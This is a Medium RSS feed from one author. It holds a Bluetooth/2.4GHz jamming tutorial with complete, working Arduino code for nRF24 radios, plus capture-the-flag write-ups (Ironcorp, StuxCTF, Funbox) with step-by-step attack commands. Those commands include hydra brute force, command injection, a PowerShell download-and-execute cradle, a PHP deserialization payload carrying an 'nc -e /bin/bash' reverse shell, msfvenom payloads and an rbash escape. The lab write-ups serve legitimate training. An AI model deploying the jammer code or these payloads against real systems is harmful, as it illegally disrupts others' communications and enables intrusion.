<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tom on Medium]]></title>
        <description><![CDATA[Stories by Tom on Medium]]></description>
        <link>https://medium.com/@tom.sh?source=rss-357dbe7ed3ca------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1-qyV0xYZxG_HoRaQIUO6g.jpeg</url>
            <title>Stories by Tom on Medium</title>
            <link>https://medium.com/@tom.sh?source=rss-357dbe7ed3ca------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 18:45:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tom.sh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[2.4GHz jamming: The basics]]></title>
            <link>https://medium.com/@tom.sh/2-4ghz-jamming-the-basics-0cae915489bc?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cae915489bc</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[esp32]]></category>
            <category><![CDATA[arduino]]></category>
            <category><![CDATA[jamming]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 18:58:13 GMT</pubDate>
            <atom:updated>2026-02-18T18:58:13.899Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I will discuss what jamming is, and how to jam. I will go overthe bare minimum so you can learn from there and apply it to your own projects, along with giving example arduino code from <a href="https://github.com/tom-who/animus-jammer">my github</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RnHbDMaHbzJlSF02" /></figure><p>## Firstly, what is jamming?</p><p>Jamming is, well bar being highly illegal in most cases, is the process of flooding the surrounding area with “noise”, prohibiting devices from being able to speak to each other clearly. Imagine it like being at a concert, if the music is too loud, you cant speak to anyone clearly. That is what jamming is, in a way.</p><p>Jamming isn’t an all in one process, if you are conducting jamming for testing purposes, you will usually construct your own jammer. There are 2 popular types of jammers; 2.4GHz and 5GHz jammers; while the latter is a lot harder to make and I highly recommend against it, the 2.4GHz is what we will be discussing today.</p><p>So what does 2.4GHz mean? Well, devices communicate wirelessly, using electromagnetic waves, 2.4GHz is in reference to the frequency of these waves. Most wifi networks use 2.4GHz, some use 5GHz but most WiFi networks you see will use 2.4GHz, Bluetooth operates purely on 2.4GHz, along with some drones and another technology called ZigBee. Additionally, 2.4GHz is broken down into smaller chunks of frequencies called channels. 2.4GHz is a broad spectrum, and breaking it down into channels allows for specific technologies to be assigned to specific channels. For example wifi operates mainly on channel 1, 6 and 11. Bluetooth operates on channels 1–80.</p><p># How does a jammer work</p><p>A jammer works by flooding the surrounding area with electromagnetic waves of these frequencies. To attack bluetooth for example, you would code a jammer to “scream” out waves on channels 1–80.</p><p># My code</p><pre>#include &lt;SPI.h&gt;<br>#include &lt;RF24.h&gt;<br><br>#define CE_PIN1 10<br>#define CSN_PIN1 9<br><br>#define CE_PIN2 8<br>#define CSN_PIN2 7<br><br>RF24 radio1(CE_PIN1, CSN_PIN1, 16000000); // Set max rate for both radios (16000000)<br>RF24 radio2(CE_PIN2, CSN_PIN2, 16000000);<br><br>void setup() {<br>  SPI.begin(13, 12, 11); // This is specific for my wiring and microcontroller, as the SPI interface is defined as something else that doesnt fit with the esp32 nano<br>  Serial.begin(115200);<br>  delay(5000);<br><br>  // Check if both radios are working<br><br>  if (!radio1.begin()) {<br>    Serial.println(&quot;Radio 1 isnt working!&quot;);<br>  } else {<br>    Serial.println(&quot;Radio 1 OK&quot;);<br>  }<br>  if (!radio2.begin()) {<br>    Serial.println(&quot;Radio 2 isnt working!&quot;);<br>  } else {<br>    Serial.println(&quot;Radio 2 OK&quot;);<br>  }<br><br>  // Configure radios to jam<br><br>  radio1.setAutoAck(false);<br>  radio1.stopListening();<br>  radio1.setRetries(0, 0);<br>  radio1.setPALevel(RF24_PA_MAX, true);<br>  radio1.setDataRate(RF24_2MBPS);<br>  radio1.setCRCLength(RF24_CRC_DISABLED);<br>  radio1.startConstCarrier(RF24_PA_MAX, 45);<br>  radio2.setAutoAck(false);<br>  radio2.stopListening();<br>  radio2.setRetries(0, 0);<br>  radio2.setPALevel(RF24_PA_MAX, true);<br>  radio2.setDataRate(RF24_2MBPS);<br>  radio2.setCRCLength(RF24_CRC_DISABLED);<br>  radio2.startConstCarrier(RF24_PA_MAX, 45);<br><br>  // At this point they are already screaming a bunch of noise but on channel 45 specifically, we wait for user input to continue<br><br>  while(Serial.available() == 0){}<br>}<br><br>void loop() {<br><br>  // Constantly switch channels between 1 - 80 (Bluetooth channels)<br>  radio1.setChannel(random(81));<br>  radio2.setChannel(random(81));<br>}</pre><p>Here is my code I wrote and it can jam bluetooth and I have noticed that if I have it active near my computer my wifi gets very slow, near 1000 ping.</p><p>As you can see, in the loop function, I am constantly setting the radio channels to random values between 1–80. Doing this with 2 or more radios is a lot more effective, the radios I use are NRF24lo1 +PA/+LNA.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cae915489bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ironcorp]]></title>
            <link>https://medium.com/@tom.sh/ironcorp-c1406556792c?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1406556792c</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Fri, 06 Jun 2025 13:53:19 GMT</pubDate>
            <atom:updated>2025-06-06T13:53:19.863Z</atom:updated>
            <content:encoded><![CDATA[<p>— -</p><figure><img alt="CTF Logo" src="https://cdn-images-1.medium.com/max/268/0*H8487A-ZmfESq9f8.jpeg" /></figure><p>Company called ironcorp suffered from recent data breach. We are tasked with finding what happened.</p><p>On initial nmap scan we find nothing, webserver seems to be mostly empty, on both ports (8080 and 11025) and port 53, which kinda lets us know we should check for subdomains. It’s only after we run subfinder (or any other subdomain finder) we find some domains of interest. *Side note: Although this has nothing to do with the CTF, I think it’s pretty cool they used a public domain and subdomains in the CTF. And the only way to find them is to use subfinder, FUFF or anything else doesnt pick them up (atleast in my testing anyway)*</p><p>Found domains:<br> admin<br> beta<br> internal</p><p>## 11025<br>Going to `interal` or `admin` will prompt you for credentials and `beta` is just the same is ironcorp.me on the same port (11025)</p><p>## 8080</p><p>Just some template site. For all subdomains.</p><p># Foothold</p><p>We find that the admin subdomain is vulnerable to a brute force attack when it prompts you for credentials on port 11025. We can use the following command;</p><pre>hydra -l admin -P ~/tools/rockyou.txt admin.ironcorp.me http-get -s 11025 -V</pre><p>This was actually the firs time I have ever brute forced using http-get in hydra. So, the more you know I guess.</p><p>Once in we have access to a file includer of some sorts. We can use /etc/passwd or whatever payload you want but it doesnt work, we can use SSRF payloads and hey presto we can make requests on the servers behalf, if you remember the subdomains from earlier I assume you know where this is going.</p><p>We make a request to `<a href="http://internal.ironcorp.me:11025/%60">http://internal.ironcorp.me:11025/`</a> and it fetches and displays the result, says we can find a name at `<a href="http://internal.ironcorp.me:11025/name.php?name=`">http://internal.ironcorp.me:11025/name.php?name=`</a> . We then request that using our SSRF and we get the name Equinox. I thought we would use this to brute force RDP, or something else but after a while I found that the name parameter was vulnerable to `|` command injection; e.g `<a href="http://internal.ironcorp.me:11025/name.php?name=|whoami`">http://internal.ironcorp.me:11025/name.php?name=|whoami`</a></p><p>We can find the user.txt flag at `<a href="http://internal.ironcorp.me:11025/name.php?name=|type+C:\Users\Administrator\Desktop\user.txt`">http://internal.ironcorp.me:11025/name.php?name=|type+C:\Users\Administrator\Desktop\user.txt`</a>.</p><p># Getting a shell.</p><p>It’s a bit difficult to get a shell as the input gets url decoded twice im fairly certain but we have to use powershell to invoke a web request to download a malicious .ps1 file, then we abuse the same command injection to run the file. *This is the simplest way, in my opinion*</p><p>First, lets download get our malicious file. You can find it here;</p><p><a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1</a></p><p>Download this to your machine and add the following oneliner to the end of it;</p><pre>Invoke-PowerShellTcp -Reverse -IPAdress &lt;ip&gt; -Port &lt;port&gt;</pre><p>Then, open up a listener on the port you want the reverse shell to connect back to, and secondly open up a webserver in the same directory as the ‘Invoke-PowerShellTcp.ps1’ file is located, using</p><pre>python3 -m http.server</pre><p>This should open up a webserver on port 8000</p><p>Then go to the following URL;</p><p>`<a href="http://admin.ironcorp.me:11025/?r=http%3A%2F%2Finternal.ironcorp.me%3A11025%2Fname.php%3Fname%3D1%7Cpowershell.exe%2520-c%2520iex%28new-object%2520net.webclient%29.downloadstring%28%27http%3A%2F%2F">http://admin.ironcorp.me:11025/?r=http%3A%2F%2Finternal.ironcorp.me%3A11025%2Fname.php%3Fname%3D1%7Cpowershell.exe%2520-c%2520iex%28new-object%2520net.webclient%29.downloadstring%28%27http%3A%2F%2F</a>&lt;TRYHACKMEIP&gt;%3A8000%2FInvoke-PowerShellTcp.ps1%27%29#`</p><p>Pay close attention to this URL, as you have to swap out the IP for your OWN.</p><p>To explain what this is doing;</p><p>We host a webserver to host our malicious ps1 script and open up a listener -&gt; We use command injection to download this script using powershell -&gt; And because of our one liner at the end of the script, it automatically connects back to us once it fetches the powershell script from our webserver.</p><p>If you are wondering why as soon as the script is fetched from our server it is ran (hence our reverse shell one liner at the end of the script is ran) it’s because if we look at the command injection payload;</p><pre>powershell.exe -c iex(new-object net.webclient).downloadstring(&#39;http://&lt;TRYHACKMEIP&gt;:8000/Invoke-PowerShellTcp.ps1&#39;)</pre><p>The `iex()` *short for invoke expression* evaluates and excutes whatever we pass to it. So when we used the downloadstring function it got the payload on our webserver and then passed it to the iex() function. Which evaluated and executed the ps1 script as if it was typed into powershell itself.</p><p>Without the one liner we would then have to make a second command injection attack to run it, which wouldnt be too difficult but it’s easier this way.</p><p># Privesc</p><p>After getting our shell we can check what privileges we have.</p><pre>whoami /priv</pre><p>And we see that SeImpersonatePrivilege is enabled</p><blockquote>SeImpersonatePrivilege | Impersonate a client after authentication | Enabled</blockquote><p>Let’s change our generic reverse shell to a meterpreter one, to do this we will download a meterpreter payload on the host and run it.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;tryhackme ip&gt; LPORT=9002 -f <br>psh -o meterpreter.ps1</pre><p>Once this is done, open up a webserver again and we will use this command to download it;</p><pre>certutil -urlcache -f http://IP:8000/meterpreter.ps1 meterpreter.ps1</pre><p>Once download, run msfconsole and</p><pre>use multi/handler</pre><p>Set the proper options and run the multihandler, after that run the meterpreter.ps1 file</p><p>Once on the meterpreter session, run the command;</p><pre>list_tokens -u</pre><p>We can find the Admin users token which we can simply impersonate by using;</p><pre>impersonate_token &lt;full token value&gt;</pre><p>Make sure to include the username too;</p><pre>impersonate_token &quot;WIN-…..\Admin&quot;</pre><p># Flag in Admins dekstop</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1406556792c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[StuxCTF writeup]]></title>
            <link>https://medium.com/@tom.sh/stuxctf-writeup-9ad5da4543a8?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ad5da4543a8</guid>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Sun, 25 May 2025 12:17:56 GMT</pubDate>
            <atom:updated>2025-05-25T12:17:56.849Z</atom:updated>
            <content:encoded><![CDATA[<p>“Crypto, serealization, priv scalation and more …!” — TryHackMe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XuIfCs_lpZ63PicHyRhynA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*XQgcOxD7_Heosy6Z.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*zUBJb02Mqx8lJThz.png" /></figure><p># Link: <a href="https://tryhackme.com/room/stuxctf">https://tryhackme.com/room/stuxctf</a></p><p>— -</p><p>Webserver with html comments</p><p>`&lt;! — The secret directory is… p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251; g: 7; a: 330; b: 450; g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617; →`</p><p>I was guessing this is part of some private / public key crypto business, we have some number and powers blah blah blah.</p><p>Heres what I found</p><p>P is a large prime number (9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251)<br>g is a generator (base) (7)<br>a is a private exponent of one party (330)<br>b is private exponent of another party (450)<br>g^c is a public exponent of another party (6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617)</p><p>SO this is complicated, atleast for me anyway. We have 2 private keys, a and b, then we have a public key (gc = g^c mod p = 6091…54617). The main theory behind this is to compute a shared key between a and b and c with the formula (g^abc) mod p.<br> Also apparently gc or g^c in crypto questions is a shorthand for (g^c) mod p. I was confused on this so I thought I would let any readers who are unbeknownst to this know that.</p><p>Normally Alice (for a ) would send (g^a) mod p and Bob (for b) would send (g^b) mod p and the shared secret would be g^(ab) mod p but since we are solving a third party diffie helman the shared secret would be g^abc mod p after Cameron sends (g^c) mod p. We cant compute this because we dont have c. We do have g^c mod p though, Camerons public key.</p><blockquote>There is a couple tricks to get this right and I will try my best to explain</blockquote><blockquote>gc = g^c mod p = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617</blockquote><blockquote>^As I have explained before (gc is labelled as g^c mod p)^</blockquote><blockquote>We can then use algebra to find partial solutions to find c, specifically k1 is alices partial result and k2 is the final result.</blockquote><blockquote>k1 = (gc)^a mod p = g^(ac) mod p<br>k2 = (k1)^b mod p = (g^(ac)^b) = g^(abc) mod p</blockquote><p>SO to summarize, we can calculate c.</p><p>Here is some python code to solve</p><pre>p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251  <br>g = 7  <br>a = 330  <br>b = 450  <br>gc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617<br><br>print(f&quot;[*] Step 1. Combine a with g^c mod p to make g^ac mod p: {pow(gc, a, p)}&quot;)<br>shared_key = str(pow(pow(gc, a, p), b, p))<br>print(f&quot;[*] Step 2. Combine b with g^ac to make g^abc (The final shared key between c, a and b): {shared_key[:128]}&quot;)</pre><p>After running you get the hidden directory!<br>If your wondering about the “[:128]” it’s because on the hint tryhackme said the hidden directory was the first 128 characters of the shared key, apart from this I feel as if the only complicated part of this code is the first shared_key declaration so I will explain this.</p><h3><strong># 1. The first pow function `pow(gc, a , p)`</strong></h3><blockquote>This computes;</blockquote><blockquote>`(g^c)^a mod p</blockquote><blockquote>Which is equal to;</blockquote><blockquote>`g^ac mod p`</blockquote><blockquote>We are putting C’s public key into A’s private key essentially.</blockquote><h3><strong># 2. pow(…, b , p)</strong></h3><blockquote>This computes;</blockquote><blockquote>`(g^ac)^b mod p`</blockquote><blockquote>Which is equal to;</blockquote><blockquote>`g^abc mod p`</blockquote><blockquote>I think you can see what’s happening here now. Recall back to when I mentioned `the secret would be g^abc mod p.` Well now we have the final secret!</blockquote><p><strong><em>Ill try my best to write it out like an algebra problem you might do in school</em></strong></p><blockquote>g = 7<br>g^c = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617</blockquote><blockquote>a = 330<br>b = 450</blockquote><blockquote>x = g^abc # This is what we need to find</blockquote><blockquote># Well lets start by adding the power of a to g^c to make it g^ac. When we do that we are almost done.</blockquote><blockquote>y = (g^c)^a = g^ac</blockquote><blockquote>See? We have to get g^abc and we have g^ac. And we know the value for b, so lets add that</blockquote><blockquote>z = y^b # Remember that y = g^ac so by doing g^ac^b we can just write it as g^abc<br>z = g^abc</blockquote><p>Now finally! All the crypto theory out of the way lets get to the web stuff.</p><h3># PHP deserialize exploitation</h3><p><em>*This is one of my first times exploiting deserialization vulnerabilities so cut me some slack*</em></p><p>Once we get to the hidden directory, the source code comment says something about a URL parameter called file. This is obviously vulnerable to some sort of file inclusion vulnerability and after trying some payloads LFI wasnt working, except for one file, that being index.php, so we can now look at the source code and pop the hood to see what’s going on with our file parameter.</p><p>This is what I got back</p><p>`3d3d67432b384349794a47502b7757623068324c386f67507641696369786a50355232626939435067414349676f67507641696369786a5030425861794e326376776a50694d6e617534576174354363684a48647a523362764a324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e5938344464776c6d636a4e334c38346a497a706d4c756c5762754d6a4c78456a4c78305365795657647870324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e593841434967414349674143496741434967346a647052324c3841434967414349674143494b347a4c67496e5938346a647052324c38414349674143496741434967414349676f67507641696369786a507956476475563259767754434a6b51434b347a4c67496e593834544d6f39435075344364704a6d59684a48496c5258616f6448496c68476467633362737832624735544d6f7854434a6b51434a6f67507641696369786a507956476475563259386b51434a6b67432b384349794a47502b496962764a4864764a576231706d49394d336368783259675958616b784449674143496741434967414349674169432b384349794a47502b4969636c35576168526e62764e6d49394d336368783259675958616b7844496741434967414349676f67507641696369786a507430434939554762705a32507641694f303557616f42534c744543506741434967414349674169432b384349794a47502b595859753943506741434967414349674169432b384349794a47502b5958616b394350674143496741434967414349676f67507641696369786a50326c475a76774449674143496741434967414349674169432b384349794a47502b45324c3855576276686b5069414861773543656c526d62704a53506d566d636f4269496b355759794a574c79466d5932466d6269307a637a4647626a42535938414349674143496741434967414349674143494b347a4c67496e5938346a6276524864314a324c38414349674143496741434967414349674143494b347a4c67496e5938346a626842336376776a62766c47646864576132466d62675547626e64326255356a4935786d62763169637a4a53507a4e5859734e4749754647637a78444967414349674143496741434967414349674143494b347a4c67496e5938346a4979466d5932466d6269307a6373396d63303532626a315359704a58596749535a7a7857596d4a53506b56475a754647633456574c686c6d636842694979466d5932466d626a4953503056325a7946476474454764685247496955326377464762733932596930545a7364325a7652584c685258596b4269496b5632637746476273393259675547626e64326230316963684a6d6468356d49394d3363687832596749696276524864314a6d4939554763355248497539476430566e5938414349674143496741434967414349674143494b347a4c67496e5938346a497956475a6856476174495859695a5859754a53507a4e5859734e4749326c475a38414349674143496741434967414349676f67507641696369786a506949585a756c5759303532626a4a53507a4e5859734e4749326c475a384143496741434967414349674169432b384349794a47502b4943637652584c6b564765705a574c79466d5932466d626751486231466d5a6c52574c79466d5932466d6267495859695a5859754a53507a4e5859734e474932466d623841434967414349674143494b347a4c67496e59383454656b396d593841434967414349674143494b347a4c67496e593834445a6856476176774449674143494b347a4c67496e5938347a4c674979637a4e6d4c6c785765304e334c7a4e3359764d48646c4e3363684a53506d566d636f4269493056575a6f4e585a736c48647a4a535073566d6367736d62707847506741434967414349674169432b384349794a47502b384349694d33636a35696270316d4c77466d63304e486476396d59764d33636a397963305632637a466d493959575a796847496951585a6c6832636c785765304e6e493977575a79427961756c47623841434967414349674143494b347a4c67496e5938346a497830545a734632597a314362686c47647035576167774361305257613331535a6a6c6d646c5257506f52485a70646e4939516e626c526e62764e474969516e63764233646c6c6d646930545a74466d62674547646c3147506741434967414349674169432b384349794a47502b49434f74594556564a535030563263794647616a42535930565762386b67432b384349794a47502b554762306c476476776a52554e4565315233552b554762306c47643841434967414349674143494b347a4c67496e593834445a6856476138414349674169432b384349794a47502b7757623068474946425657554e3054454643504b347a4c67496e59386f67507641696369787a4f706b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a6f556d6570785759704a585a7a3557644b347a4c67496e5938306e432b384349794a4750376b534b706b534b3035575a303532626a52434973496949677779636e4647646b67535a6a46476277566d63664a48647a686963694a44627568535a6b393259755632583059545a7a466d596f59585a794a48647a6843656c686d4d756c6d59673847616a5647496741434967414349676f67507641696369787a4f704969496777694969675365684a6e6368425350674d335a6852484a6741434967414349674169432b384349794a4750376b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a673044493035575a303532626a5243496741434967414349676f67507641696369787a65704943636f426e4c3456475a756c6d493930545a74466d6266564762705a474a6f5957614b347a4c67496e59386f675076416963697854664b347a4c67496e5938736a49685133637068585267386d6267554762705a6b49673847616a5647496741434967414349676f67507641696369787a65706b535a74466d6266564762705a474a6f4d48647a6c47656c39565a736c6d5a6841694a6d41534b6c3157597539565a736c6d5a6b6743646c4e33637068695a707067507641696369787a4f6464535a736c6d5a6e734656466430586b41535067555762683532586c7857616d5269432b384349794a47504b347a4c67496e59386f675076416963697854664b347a4c67496e59383048496741434967414349676f67507641696369787a4f7045476468526d50744d58616f52484a6777535a736c6d5a2b307963706847646b6779633035575a303532626a394664314233586c7857616d42434967414349674143496741434967414349674169432b384349794a4750376c434b304e5764795233636c52325866426962766c47646a3557646d42434967414349674143494b347a4c67496e5938736a49304e585a304243637456485a69415350674547646852474a674d5761734a57647742434967414349674143494b347a4c67496e5938736a49306848647541586231526d49673044496c7857616d5243496a6c4762695648636741434967414349674169432b384349794a47503742535a736c6d5a674d3363687832594b347a4c67496e593873544b7767795a756c4764793947636c4a335879396d6379566d432b384349794a4750`</p><p>Obviously this is not php code, its encoded in hex -&gt; reversed -&gt; base64. Once decoded (I used cyberchef), this is what we get back;</p><pre>&lt;br /&gt;<br>error_reporting(0);&lt;br /&gt;<br>class file {&lt;br /&gt;<br> public $file = &quot;dump.txt&quot;;&lt;br /&gt;<br> public $data = &quot;dump test&quot;;&lt;br /&gt;<br> function __destruct(){&lt;br /&gt;<br> file_put_contents($this-&gt;file, $this-&gt;data);&lt;br /&gt;<br> }&lt;br /&gt;<br>}&lt;br /&gt;<br>&lt;br /&gt;<br>&lt;br /&gt;<br>$file_name = $_GET[&#39;file&#39;];&lt;br /&gt;<br>if(isset($file_name) &amp;&amp; !file_exists($file_name)){&lt;br /&gt;<br> echo &quot;File no Exist!&quot;;&lt;br /&gt;<br>}&lt;br /&gt;<br>&lt;br /&gt;<br>if($file_name==&quot;index.php&quot;){&lt;br /&gt;<br> $content = file_get_contents($file_name);&lt;br /&gt;<br> $tags = array(&quot;&quot;, &quot;&quot;);&lt;br /&gt;<br> echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, &quot;&quot;, $content)))));&lt;br /&gt;<br>}&lt;br /&gt;<br>unserialize(file_get_contents($file_name));&lt;br /&gt;<br>&lt;br /&gt;<br>&lt;!DOCTYPE html&gt;&lt;br /&gt;<br> &lt;head&gt;&lt;br /&gt;<br> &lt;title&gt;StuxCTF&lt;/title&gt;&lt;br /&gt;<br> &lt;meta charset=&quot;UTF-8&quot;&gt;&lt;br /&gt;<br> &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;&lt;br /&gt;<br> &lt;link rel=&quot;stylesheet&quot; href=&quot;assets/css/bootstrap.min.css&quot; /&gt;&lt;br /&gt;<br> &lt;link rel=&quot;stylesheet&quot; href=&quot;assets/css/style.css&quot; /&gt;&lt;br /&gt;<br> &lt;/head&gt;&lt;br /&gt;<br> &lt;body&gt;&lt;br /&gt;<br> &lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&gt;&lt;br /&gt;<br> &lt;div class=&quot;container&quot;&gt;&lt;br /&gt;<br> &lt;div class=&quot;navbar-header&quot;&gt;&lt;br /&gt;<br> &lt;button type=&quot;button&quot; class=&quot;navbar-toggle collapsed&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#navbar&quot; aria-expanded=&quot;false&quot; aria-controls=&quot;navbar&quot;&gt;&lt;br /&gt;<br> &lt;span class=&quot;sr-only&quot;&gt;Toggle navigation&lt;/span&gt;&lt;br /&gt;<br> &lt;/button&gt;&lt;br /&gt;<br> &lt;a class=&quot;navbar-brand&quot; href=&quot;index.php&quot;&gt;Home&lt;/a&gt;&lt;br /&gt;<br> &lt;/div&gt;&lt;br /&gt;<br> &lt;/div&gt;&lt;br /&gt;<br> &lt;/nav&gt;&lt;br /&gt;<br> &lt;! - hint: /?file= →&lt;br /&gt;<br> &lt;div class=&quot;container&quot;&gt;&lt;br /&gt;<br> &lt;div class=&quot;jumbotron&quot;&gt;&lt;br /&gt;<br> &lt;center&gt;&lt;br /&gt;<br> &lt;h1&gt;Follow the white rabbit..&lt;/h1&gt;&lt;br /&gt;<br> &lt;/center&gt;&lt;br /&gt;<br> &lt;/div&gt;&lt;br /&gt;<br> &lt;/div&gt; &lt;br /&gt;<br> &lt;script src=&quot;assets/js/jquery-1.11.3.min.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;<br> &lt;script src=&quot;assets/js/bootstrap.min.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;<br> &lt;/body&gt;&lt;br /&gt;<br>&lt;/html&gt;&lt;br /&gt;</pre><blockquote>By reading the php we find that LFI isn’t possible, but there is something arguable worse. Specifically this line :</blockquote><pre>unserialize(file_get_contents($file_name));</pre><blockquote>This means that the server deserializes whatever we give it essentially, which can be easily abused to get RCE and I will show you how. First of all, serialization is when OOP languages turn objects into byte streams that can be easily transported. But danger can arise when these languages deserialize byte stream from untrusted sources, for example the internet or us in this case.</blockquote><blockquote>To explain what we will do, we will first make our malicious payload -&gt; host a webserver -&gt; use SSRF to make the server request our payload -&gt; the server will deserialize our payload and execute it -&gt; pop a shell.</blockquote><h3><strong># 1. Making the payload</strong></h3><p>First we have to make our malicious php file (I called it exploit.php).</p><pre>&lt;?php<br>class exploit<br>{<br>        public $file = &#39;myshell.php&#39;;<br>        public $data = &#39;&lt;?php shell_exec(&quot;nc -e /bin/bash 10.9.1.208 9001&quot;); ?&gt;&#39;;<br>}<br>echo (serialize(new exploit));<br><br>?&gt;</pre><p>We then run it and pipe it into a file called exploit.txt</p><pre>php exploit.php &gt; exploit.txt</pre><p>We then run a python webserver and make a request to it, requesting the exploit.php file</p><pre>python3 -m http.server</pre><p>Then change the ?file parameter in the url to the following</p><pre>http://&lt;your_tryhackme_ip&gt;:8000/exploit.txt</pre><p>Then open up a listener on 9001</p><p>Then, go to the file shell.php on the victim webserver and you should get your shell.</p><h3><strong>www-data can run sudo on anything no password.</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ad5da4543a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Funbox rookie writeup]]></title>
            <link>https://medium.com/@tom.sh/funbox-rookie-writeup-bf8860198bdc?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf8860198bdc</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privesc]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Tom]]></dc:creator>
            <pubDate>Sat, 19 Apr 2025 16:26:27 GMT</pubDate>
            <atom:updated>2025-04-19T16:26:27.865Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*PpOKsWmCp6snkBnl.png" /></figure><p>Found this machine on offsec proving grounds. It should take you about 15 minutes in total.</p><p>On our nmap scan we find port 21 open with FTP, with anon login enabled. There is a bunch of zip files, presumably belonging to multiple different people with the format &lt;name&gt;.zip</p><p>I downloaded them all along with a ‘welcome.msg’ file. It said that the keys to the user were inside the hashes. I use a small bash one liner to cycle through all of the zip files and brute them with john</p><pre>ls | while read file; do zip2john $file &gt; hashes; john -w=rockyou.txt hashes; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*AulxuRh9v4l_O3EPnrWtow.png" /></figure><p>Hey! That’s my name! We got the id_rsa file and it isn’t password protected so no need to brute it with john again. Make the id_rsa private and ssh in as tom on the machine.</p><p>On login, within a few seconds I found out we were in a restricted bash shell, these are usually put in place to limit where a user can go and what they can do on a machine. We can bypass it easily by checking our $SHELL var.</p><pre>echo $SHELL</pre><p>And it says our shell is “/bin/rbash”. We can change this by doing</p><pre>export SHELL=/bin/bash</pre><p>Now we have a stable unrestricted shell. We can find tom’s actually password in his home directory, as he forgot to delete his mysql_history file.</p><p>Running sudo -l we find we can run sudo on anything so give it a quick</p><pre>sudo su</pre><p>And you have rooted this box, flags are located in /home/tom and /root. Hope this helps!</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf8860198bdc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ollie CTF writeup]]></title>
            <link>https://medium.com/@tom.sh/ollie-ctf-writeup-946bd09dfa78?source=rss-357dbe7ed3ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/946bd09dfa78</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
